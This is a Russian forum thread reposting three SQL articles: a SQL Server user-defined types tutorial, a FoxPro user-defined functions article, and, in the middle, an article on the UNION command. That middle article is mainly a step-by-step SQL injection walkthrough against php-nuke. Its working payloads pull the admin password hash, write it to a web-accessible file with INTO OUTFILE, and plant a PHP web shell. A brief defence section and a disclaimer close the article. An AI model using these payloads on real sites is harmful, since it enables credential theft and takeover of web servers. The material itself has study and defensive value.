На данный момент добавлять новые типы данных можно с помощью SQL Server Enterprise Manager или из анализатора запросов Query Analyzer (в версии SQL Server 6.5 это производится из окна ISQL/w). Каждый тип данных, который добавляют пользователи, действует только в пределах конкретной базы данных. Если же необходимо создать тип данных для всех баз, то его следует поместить в базу данных моделей Model. С момента создания в этой базе данных новый тип данных будет доступен во всех остальных базах. Существует другой способ решения этой проблемы - написать сценарий или сгенерировать его с помощью утилиты генерации сценариев Generate SQL Script, входящей в состав SQL Server. Тогда этот сценарий можно будет запускать из любой базы данных. В Enterprise Manager следует дважды щелкнуть правой кнопкой мыши на названии базы данных, а затем последовательно выбрать из меню Все задачи (All tasks), Генерировать сценарий SQL (Generate SQL Script) и наконец, выбрать пункт создания сценария для всех типов данных.

В окне Enterprise Manager следует выбрать пункт Базы данных (Databases), выбрать конкретную базу из списка, а затем перейти к пункту Определяемые пользователем типы данных (User-Defined Data Types). Щелкните правой кнопкой мыши и выберите пункт Свойства новых определяемых пользователем типов данных (New User-defined Datatype Properties). После этого приступайте к определению типа данных.

Как принято в SQL Server, добавить новый тип данных можно также с помощью анализатора запросов Query Analyzer. Обратите внимание на то, что кавычки заключают название системного типа данных, но вокруг названия вновь создаваемого типа данных их не ставят. Кроме того, полезно сразу указать, допускает ли создаваемый тип данных неопределенные значения. Для конкретного столбца можно будет в последующем переопределить эту установку, но первоначальная спецификация допустимых возможностей облегчает введение стандартов. А это и является той целью, ради которой вводятся новые типы данных.

При определении типов данных оператор создания таблицы может выглядеть так, как показано на листинге 2. Для тех столбцов, к которым применяются определенные пользователем типы данных, не требуется указывать длину помещаемых в него сведений, - ведь она уже была определена при создании типа данных. Можно также не сообщать системе о том, допустимы ли в рассматриваемом столбце неопределенные значения, поскольку это задано в спецификации типа данных. Хотя не повредит включить такое упоминание и в этот оператор.

Выберите правильный тип
Правильный подбор типов данных является частью проектирования таблицы. В SQL Server 6.5 очень трудно изменить свойства столбца после того, как он был создан. В версии SQL Server 7.0 это возможно, но проводить такую процедуру следует с крайней осторожностью.

Введение определяемых пользователем типов данных является одним из способов обеспечения целостности информации в различных приложениях, над которыми трудятся разные команды разработчиков. При этом предполагается , что все они используют SQL Server. Однако при перенесении кода SQL в другие СУБД целесообразно избегать применения определяемых пользователем типов данных.

Об авторе
Майкл Д. Рейли (mdreilly@compuserve.com) является одним из основателей и вице президентом компании Mount Vernon Data Systems, которая занимается консалтингом по Windows NT и SMS, а также разработкой приложений,широко использующих базы данных. Он обладает сертификатами MCSE и MCT по Windows NT, SQL Server и SMS.

Листинг 1. Создание таблицы авторов книг Authors с использованием только системных типов данных.
Код:
au_id varchar(11) NOT NULL ,
aulname varchar (40) NOT NULL ,
au_fname  varchar (20) NOT NULL ,
phone char (12) NOT NULL ,
address varchar (40)  NULL ,
city varchar (20) NULL ,
state char (2) NULL ,
zip char (5) NULL  ,
contract bit NOT NULL)  
Листинг 2. Определение типов данных и последующее создание таблицы авторов книг Authors.
Код:
SP_ADDTYPE id, `char(11)`, `not null`
GO
SP_ADDTYPE phonenumber,  `char(12)`, `not null`
GO
SP_ADDTYPE statecode, `char(2)`,  `null`
GO
SP_ADDTYPE zipcode, `char(10)`, `null`
GO

CREATE TABLE  dbo. authors (
    au_id id NOT NULL ,
    au_lname varchar (40) NOT NULL  ,
    au_fname varchar (20) NOT NULL ,
    phone phonenumber(12) ,
     address varchar (40) NULL ,
    city varchar (20) NULL ,
    state  statecode,
    zip zipcode,
    contract bit NOT NULL )
Нажмите, чтобы раскрыть...

ddd · 15 сен 2007

Статья: Использование команды UNION
Источник: articles.org.ru

Итак команда union используется для обьединения вывода двух или более запросов select.
Особенности команды которые придется учитывать:
Когда два (или более) запроса подвергаются объединению, их столбцы вывода должны быть совместимы для объединения. Это означает, что каждый запрос должен указывать одинаковое количество столбцов и в том же порядке и каждый должен иметь тип, совместимый с каждым.
Также данная возможность появилать только в mysql версии 4.0 т.е. на более ранних версиях БД работать не будет.

Вид команды таков:

select a1, a2, a3 from table1 union select b1, b2, b3 from table2;

Где a1 и b1, a2 и b2, a3 и b3 должны быть одинакового типа.

Например:

select text11, text12, int11 from t1 union select text21, text22, int22 from t2;

Думаю наиболее удобно будет рассмотреть работу с данной командой на конкретном примере. Помучить предлагаю php-nuke версии 7.0 final. Советую скачать и поставить данный движек. Итак устанавливаем и настраиваем нюку. Запускаем mysql с ведением логов и приступаем.

================================================
---/// sql injection на примере php-nuke
================================================

Итак разбираться будем с модулем news

http://127.0.0.1/nuke7/modules.php?name=news&new_topic=1

Вот такой запрос выводит первый топик на движке. Попробуем поставить кавычку к значению new_topic, соответственно теперь запрос становится таким:

http://127.0.0.1/nuke7/modules.php?name=ne...ew_topic=1'

Отдаем в браузере запрос и смотрим логи mysql:
...
10 query select topictext from nuke_topics where topicid='1''
^!!!

10 query select sid, catid, aid, title, time, hometext, bodytext, comments, counter, topic, informant, notes, acomm,
score, ratings from nuke_stories where topic='1'' order by sid desc limit 10
^!!!
...

Вот тут наша ковычка себя и проявила =)
Видите: where topicid='1''

Рассмотрим первый запрос:

select topictext from nuke_topics where topicid='1''
Выборка topictext из таблицы nuke_topics где topicid=1'
Теперь посмотрим тип topictext:

+-------------------------+
| topictext | varchar(40) |
+-------------------------+

Отлично теперь попробуем использовать команду union:
Отдаем в браузере запрос:

modules.php?name=news&new_topic=999' union select pwd from nuke_authors/*

Отлично =) Вместо названия раздела мы видим хеш пароля админа. Что же произошло.
Опять смотрим логи mysql:

> 14 query select topictext from nuke_topics where topicid='999' union select pwd from nuke_authors
Warning: Unterminated comment starting line 1 in /home/internet/data/www/internet-technologies.ru/engine/admin_panel/functions/main.php on line 217

^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
вот он наш запрос

Вот оно. Мы делаем выборку из nuke_topics где topicid='999' и данный запрос естественно ничего не возвращает т.к. такого топика у нас нет и делаем выборку pwd из таблицы nuke_authors и данный запрос возвращает хеш пароля первого пользователя который и подставляется в название раздела. Заметьте что если мы укажем существующий номер топика то результата мы не получим т.к. будет подставлено название этого топика а не хеш. Поэтому мы и используем номер 999. Вот первая уязвимость =)

Давайте рассмотрим второй запрос: ( запрос разбит на несколько строк для удобства )

select sid, catid, aid, title, time, hometext, bodytext, comments, counter, topic, informant, notes, acomm, score, ratings
from nuke_stories
where topic='1'' <-- Вот тут мы можем вставить свой sql-код
order by sid desc limit 10

Посмотрим какие типы данных у нас в таблице nuke_stories:

+-----------+--------------+
| sid | int(11) |
+-----------+--------------+
| catid | int(11) |
+-----------+--------------+
| aid | varchar(30) |
+-----------+--------------+
| title | varchar(80) |
+-----------+--------------+
| time | datetime |
+-----------+--------------+
| hometext | text |
+-----------+--------------+
| bodytext | text |
+-----------+--------------+
| comments | int(11) |
+-----------+--------------+
| counter | mediumint(8) |
+-----------+--------------+
| topic | int(3) |
+-----------+--------------+
| informant | varchar(20) |
+-----------+--------------+
| notes | text |
+-----------+--------------+
| acomm | int(1) |
+-----------+--------------+
| score | int(10) |
+-----------+--------------+
| ratings | int(10) |
+-----------+--------------+

Теперь также просмотрим таблицу nuke_authors на типы записей и составим запрос с union таким образом чтобы типы из таблицы nuke_stories совпадали с типами из nuke_authors и запрос примет вид:

modules.php?name=news&new_topic=999' union select counter, counter, pwd, pwd, counter, pwd, pwd, counter, counter, counter, pwd, pwd, counter, counter, counter from nuke_authors /*

Отдаем запрос в браузере и видим топик с содержанием хеша пароля =) Тут уже не обязательно указывать несуществующий топик т.к. все работает и с топиком существующим в базе.

Если посмотреть логи БД то можно увидеть что был отдан вот такой запрос к базе данных: (запрос разбит на 4 блока для большего удобства)

> select sid, catid, aid, title, time, hometext, bodytext, comments, counter, topic, informant, notes, acomm, score, ratings
from nuke_stories
where topic='1'

union

select counter, counter, pwd, pwd, counter, pwd, pwd, counter, counter, counter, pwd, pwd, counter, counter, counter
from nuke_authors

Warning: Unterminated comment starting line 10 in /home/internet/data/www/internet-technologies.ru/engine/admin_panel/functions/main.php on line 217

Как вы можете видеть в обоих запросах количество и типы столбцев совпадают.
Запрос специально разбит на 4 блока:
1 блок - это первый запрос select выбирающий из таблицы nuke_stories
2 блок - команда обьединения запросов union
3 блок - второй запрос select который выбирает хеш пароля и счетчик из таблицы nuke_authors
4 блок - все что идет после "/*" будет рассматриваться как комментарий

================================================
---/// Вывод данных в файл
================================================

К слову сказать, в инете полно практически одинаковых статей про sql-injection и все они рассказывают про атаки данного типа при использовании ms sql в качестве сервера базы данных. Конечно сервак от мелкомягких дает поистинне потрясающие возможности для взлома всего сервера за счет возможностей разделения запросов в строке и прочих фишек но это тема другой статьи а у нас на повестке mysql в котором все не так просто, но это совсем не плохо, это хорошо т.к. с mysql возится сложнее а значит интереснее =) А к чему я это сказал? Да просто в тех статьях описывается взлом при авторизации и авторизация там происходит примерно таким запросом:

select * from users where login='blabla' and password='blabla';

Изврат! Не правда-ли? Абсолютно убогий способ работы с базой данных. Зачем спрашивается выбирать все данные из таблицы? Бррр что-то меня вообще не туда унесло = Мы лучше рассмотрим авторизацию в php-nuke 6.9. в котором процесс авторизации сделан более грамотно и красиво. Обратите внимание на версию нюки! Дело в том что в версии 7.0 не удастся через форму внедрить код с помощью кавычки т.к. там эта бага прикрыта. В версии 7.0 есть возможность внедрения кода в этом модуле посредством cookie но мы пока что не будем трогать cookie т.к. на эту тему статья будет чуть позднее а рассмотрим внедрение кода просто через форму авторизации. Для этого и пришлось использовать более раннюю версию. Как пример.
Запускаем http://127.0.0.1/phpnuke69/admin.php и видим окошко для ввода логина и пароля. Ну вы наверно уже догадались что мы будем делать? Конечно вписываем в качестве логина admin' (не забудьте про кавычку) и 123 в кач-ве пароля. Хммм... Не пускает =) Ну чтож всякое бывает =) Наверно потому что логин и пароль в базе другие совсем =)))
Чтож опять лезем смотреть логи mysql:

1 query select pwd, admlanguage from nuke_authors where aid='admin''

^ - вот она наша родная кавычка =)

Стоп! Вы уже побежали вставлять union и select? Рано. Дело в том что в данном модуле не происходит никакого вывода полученных данных из БД. Естественно раз нет вывода то и вывести полученный хеш нам некуда. Что же делать. К счастью в mysql есть замечательная опция сохранения выбранных из таблицы данных в файл. Производится данный финт ушами следующим образом:

select * from table into outfile 'путь_к_файлу/файл';

Попробуем сохранить хеш пароля админа в файле. Форма ввода не позволяет ввести длинный логин поэтому придется передавать данные через строку браузера:

http://127.0.0.1/phpnuke69/admin.php?op=lo...&aid=admin' into outfile 'pwd.txt

После запроса данной строки в БД исполняется:

9 query select pwd, admlanguage from nuke_authors where aid='admin' into outfile 'pwd.txt'

И хеш пароля пользователя "admin" оказывается записан в файл pwd.txt. Но вся проблемма в том что файл создается не в корне www-сервера а в каталоге базы данных. Для создания файла в каталоге доступном через web необходимо указывать полный путь:

/phpnuke/admin.php?op=login&pwd=123&aid=admin' into outfile '././././www/www1/phpnuke69/pwd.txt

И теперь уже:

http://127.0.0.1/phpnuke69/pwd.txt

Выдаст нам хеш админа.
Конечно необходимо учитывать права доступа и не факт что вы сможете записать файл в нужное место но это сейчас не важно. Главное что мы смогли сформировать нужный запрос и создать файл.

================================================
---/// Получение http-шелла
================================================

Конечно базы данных это хорошо, это интересно и познавательно, но хочется чего то большего =) Их есть у меня =)
Как мы уже разобрались файлы мы создавать можем. А ведь в файл можно записать любую инфу из базы данных, почему бы не воспользоваться этим и не создать себе маленький такой http-шелл посредством создания php файла с незатейливым и наверно всем знакомым содержанием:

Итак воспользовавшись одним из описанных выше методов вам удалось все-таки получить хеш пароля админа и вы благополучно залогинились как админ движка, расшифровав пароль, либо вставив его в кукис (тема про куки будет более подробно рассмотрена в следующей статье) Теперь вам необходимо каким-либо образом вставить php-код в одно из значений в базе данных а потом вывести его в файл. Вот способ которым воспользовался я:

Логинимся под админом. В меню администрирования входим в раздел topics. Создаем новый топик.
В поле topic name пишем passthru
в поле topic text пишем:

Теперь вспомним уязвимость описанную выше в этой статье, а именно:

modules.php?name=news&new_topic=999' union select pwd from nuke_authors/*
select topictext from nuke_topics where topicid='999' union select pwd from nuke_authors/*'

Теперь нам не надо получать хеш пароля, а надо сохранить запись из столбца "topictext"

http://127.0.0.1/phpnuke/modules.php?name=...ew_topic=2' into outfile 'shell.php' /*

где 2 - номер нового топика , shell.php - файл который будет создан

Не забудьте прописать путь к файлу.
После выполнения данного запроса будет создан файл shell.php содержащий нужный
нам пхп-код.

================================================
---/// Методы защиты
================================================

Если вы все-таки прочитали статью то наверно уже поняли что единственно верной защитой является фильтрация всех данных принимаемых от пользователя. Наилучшим решением будет разрешить использование лишь букв и цифр. В случае если принимаемое значение должно быть цифрой, проверяейте его перед помещением в sql запрос.
Не стоит надеятся на фильтрацию лишь одной кавычки т.к. во-первых атакующий может использовать другие символы для если не внедрения кода то хотя бы для получения дополнительной информации (например о пути к сайту) из сообщений о ошибках. И во-вторых если скрипт отфильтровывает какой-либо символ, то его можно заменить конструкцией +char(0xКОД_СИМВОЛА)+.
Также обращу внимание что фильтровать надо все данные пришедшие от пользователя в запросах, в куках, в общем вообще все!

================================================
---/// Заключение
================================================

Ну вот и все. Я постарался рассмотреть наиболее информативные примеры атак типа sql-injection. Надеюсь теперь вы сможете избежать ошибок при кодинге скриптов работающих с базами данных. Удачи.
p.s. Вся информация в данной статье служит исключительно в образовательных целях. Эта статья всего лишь попытка помочь авторам скриптов и указать на возможные ошибки при работе с базами данных.Так сказать, врага нужно знать в лицо!
Нажмите, чтобы раскрыть...

ddd · 8 окт 2007

Статья: НекоторЫе аспектЫ использования пользовательских функций в предложениях SQL.
Автор: Владимир Журавлев
Источник: realcoding.net

"Старый конь борозды не испортит". "В чем преимущество склероза ?. В том, что все время узнаешь новое"

Уже надоело говорить о том, что ровным счетом ничего нового в этой жизни не происходит, а большинство нового - это хорошо забытое старое. Вот еще пример. Один автор этой статьи пожилой , но относительно молодой фоксист , начавший работать только с FXP2.6 под виндами, а второй -один из старейших клиперистов. Поэтому и приемы разные. У первого в основном новые методы ФОКСА, у второго вечные истины dbase. Оказывается, что старые рецепты часто дают много лучшие решения, чем новомодные навороты, зная которые , очень трудно использовать старые приемы, хотя и читал теорию и потенциально их знаешь. Потом, черт возьми, вечно попадаешь на агрессивную рекламу Микрософт с описанием новых, все более мощных методов. И часто веришь всему, что они говорят. Но вот берем тривиальные задачи, суем их на новую кухню и ждем вкусного пирога. А вместо него иногда - одна вонь.

Речь пойдет в основном о SQL select с предложениями outer left/right join, union и использовании групповых функций.

В одной из предыдущих статей мы уже упоминали о том, что генератор запросов и представлений view дает неправильный код с этими предложениями, если имеем несколько join.

Пример такого ошибочного кода:

LEFT OUTER JOIN dbf_s!valuta;
ON int(pd.valuta_id) == int(Valuta.valuta_id) ;
ON int(pd.kv_izg) == int(Valuta_a.valuta_id) ;
ON pd.shpz_id = Sc_shpz.shpz_id ;
ON pd.nc_id = bc_ac.nc_id ;
ON pd.country_id = country.country_id ;
ON pd.um_id = Sc_ed.um_id ;
LEFT OUTER JOIN dbf_s!valuta Valuta_a ;
LEFT OUTER JOIN dbf_s!Sc_shpz;
LEFT OUTER JOIN dbf_s!bc_ac;
LEFT OUTER JOIN dbf_s!Country ;
LEFT OUTER JOIN dbf_s!Sc_ed
А нужно-
LEFT OUTER JOIN dbf_s!valuta;
ON int(pd.valuta_id) == int(Valuta.valuta_id) ;
LEFT OUTER JOIN dbf_s!valuta Valuta_a ;
ON int(pd.kv_izg) == int(Valuta_a.valuta_id) ;
LEFT OUTER JOIN dbf_s!Sc_shpz;
ON pd.shpz_id = Sc_shpz.shpz_id ;
LEFT OUTER JOIN dbf_s!bc_ac;
ON pd.nc_id = bc_ac.nc_id ;
LEFT OUTER JOIN dbf_s!Country ;
ON pd.country_id = country.country_id ;
LEFT OUTER JOIN dbf_s!Sc_ed ;
ON pd.um_id = Sc_ed.um_id

Ну это не беда. "Кто предупрежден - тот вооружен".

Беда в другом - генератор позволяет к этому добавить предложение where, где можно использовать любые из уже использованных таблиц.

Вот тут-то (особенно если условие where в нем касается присоединенных таблиц) результат может быть и вовсе неверен. А как такое условие не добавить, если нужно взять товар за определенный интервал времени? Или цену товара из прайс листа, соответствующую нужному учетному периоду? Этого в join никак не засунешь.

Без outer join, казалось бы, тоже нельзя - ссылка на любой справочник может быть пустой, а строчку товара терять нежелательно. Поэтому условия из outer join не получится перенести в where . Ждать, когда Микрософт исправит ошибки - так наши клиенты ждать нас не будут и быстренько слиняют к более удачливым фирмам или программным продуктам. Поэтому, хочешь не хочешь, а давай правильный результат.

Сначала мы разбили запрос на два -один с outer join , второй с where. Работает весьма неплохо и при наличии нужных индексов достаточно быстро. Однако, иногда получается надо писать уж слишком много веток по разным условиям. Число SQL и их сложность растет и растет. Более того, приходится включать вторичные справочники с еще одним outer join на таблицу, которая сама уже висит на outer join. Вероятность ошибки в результате слишком велика.

Вот тут то на помощь приходят старые, но от этого, не менее эффективные методы. А именно: использование пользовательских функций. Идея состоит в том, чтобы убрать из предложения Select SQL все таблицы, которые привязаны к внешним объединениям, а искать нужные ссылки в этих таблицах в пользовательских функциях. Функция должна быть такая, что при наличии ссылки - получить ее значение, а при отсутствии вернуть "пустышку" нужного типа. То есть сделать работу outer join самим. Что для этого нужно: имя ключа, по которому в справочнике ищется справка, имя справочной таблицы, поле из справочника, имя тэга, по которому ведется поиск.
Некоторые хитрости.

Положим, что для одного ключа из справочника должно быть найдено несколько разных полей. Не хочется перегружать работу поиска второй раз. Если нужная запись в справочнике найдена - для другого поля ни к чему заново делать поиск.

Второе.

SQL select обладает одним неприятным свойством: длина результирующего поля оценивается во время инициализации. Поэтому, если для первой записи справка отсутствует, а для следующей справка есть, то и для пустой записи нужно вернуть поле нужной длины. Иначе записи из справочника будут урезаны по одной букве.

Вот пример такой функции

Lparameters pr_id,mydat
Local retcr

If order('val_course')!='datcur'
Set order to datcur in val_course
Endif
retcr=0
If empty(mydat)
set exact off
If seek(str(pr_id,3),'val_course')
retcr=course
Endif
Else
If set('NEAR')='OFF'
Set near on
Endif
=seek(str(pr_id,3)+dtos(mydat),'val_course')
If pr_id=val_course.valuta_id
retcr=val_course.course
Endif
Set near off
Endif
Return retcr:

Function getref
Lparameters fld,pr_id,tb,tg

Local fl,tpt,rt,rtt,lnn, fl,fll

fl=tb+'.'+alltrim(fld)
fll=tb+'.'+tg
*** Если совпал ключ, можно не искать, иначе - ищем
If not empty(pr_id) and ;
(eval(fll)=pr_id or seek(pr_id,tb,tg))
rtt=eval(fl)
Return rtt
Else
rt=eval(fl)
tpt=type('rt')
Do case
Case tpt='N'
rtt=0
Case tpt='C'
Lnn=len(eval(fl))
rtt=pad('',lnn)
Case tpt='D'
rtt=ctod('..')
Case tpt='L'
rtt=.f.
Endcase
Return rtt
Endif

Lparameters pr_id,mydat

Local retcr

If order('val_course')!='datcur'
Set order to datcur in val_course
Endif
retcr=0
If empty(mydat)
set exact off
If seek(str(pr_id,3),'val_course')
retcr=course
Endif
Else
If set('NEAR')='OFF'
Set near on
Endif
=seek(str(pr_id,3)+dtos(mydat),'val_course')
If pr_id=val_course.valuta_id
retcr=val_course.course
Endif
Set near off
Endif
Return retcr

Пример использования. Пусть у нас был запрос SQL следующего вида:

Select doc.num,val from doc LEFT OUTER JOIN valuta;
ON doc.valuta_id= Valuta.valuta_id

Теперь пишем

Select doc.num getref('val','doc.valuta_id','valuta','valuta_id) as val from doc

Здесь конечно получилось более громоздко, чем в исходном примере, зато можно добавлять еще кучу полей из справочников и кучу справочников и не боятся при этом использовать предложение where в этом же sql

Второй пример сложнее.

Есть таблица валют и таблица курсов валют с ключами валюты, датой и курсом. Причем в таблицу курсов валют курсы могут записываться не в порядке времени , а произвольно. Некоторые валюты в таблице курсов могут вообще отсутствовать. Требуется, тем не менее, показать все валюты с последним их курсом.

Решение первое (неправильное):

Select val,max(dat),cour from valuta, vcour where valuta.valuta_id=vcour.valuta_id union ;

Select val, ctod('..'), 0 as cour from valuta where valuta_id not in ( select valuta_id from vcour)

Беда в том, что функция max, работая по всему диапазону записей, дату-то дает правильную, зато курс - из последней по счету записи. Если курс вводился не в хронологическом порядке - курс получается не последней даты, а последней записи, хотя сама дата в выборке - последняя.

Решение в стиле Microsoft - правильное, но не оптимальное.

Select max(dat)as dt,valuta_id from ;
vcour group by valuta_id into cursor qr
Select distinct val,cour,dat from ;
valuta,vcour,qr ;
where valuta.valuta_id=vcour.valuta_id ;
and qr.dt=vcour.dat and ;
qr.valuta_id=valuta.valuta_id ;
union ;
Select distinct val,1 as cour,ctod('..') as dat from valuta where ;
valuta.valuta_id not in (select distinct valuta_id from vcour);
into cursor vcou

Решение по дедовским заветам. Самое быстрое.

Создадим в таблице курса валют композитный индекс datcur с выражением

STR(valuta_id,3)+DTOS(dat)

Сделаем функцию Getvcr

Lparameters pr_id,mydat

Local retcr

If order('vcour')!='datcur'
Set order to datcur in vcour
Endif
retcr=0
If empty(mydat)
set exact off
If seek(str(pr_id,3),'vcour')
retcr=vcour.cour
Endif
Else
If set('NEAR')='OFF'
Set near on
Endif
=seek(str(pr_id,3)+dtos(mydat),'vcour')
If pr_id=vcour.valuta_id
retcr=vcour.cour
Endif
Set near off
Endif
Return retcr

Теперь достаточно записать Select val,getvcr(valuta.valuta_id) as cour from valuta - и все.

А хотите курс на конкретную дату - укажите ее во втором параметре.

Так и вспоминается анекдот про двух бычков, старого и молодого. Молодой все норовил быстро побежать к коровкам. Нам же по нраву принцип старого бычка- пойдем медленно медленно, но поимеем все , что хотели и может даже обгоним кого и помоложе.
Нажмите, чтобы раскрыть...

Вход

Литература Статьи по SQL

ddd (•̪̀●́)=o/̵͇̿̿/'̿̿ ̿ ̿̿

ddd (•̪̀●́)=o/̵͇̿̿/'̿̿ ̿ ̿̿

ddd (•̪̀●́)=o/̵͇̿̿/'̿̿ ̿ ̿̿

ddd (•̪̀●́)=o/̵͇̿̿/'̿̿ ̿ ̿̿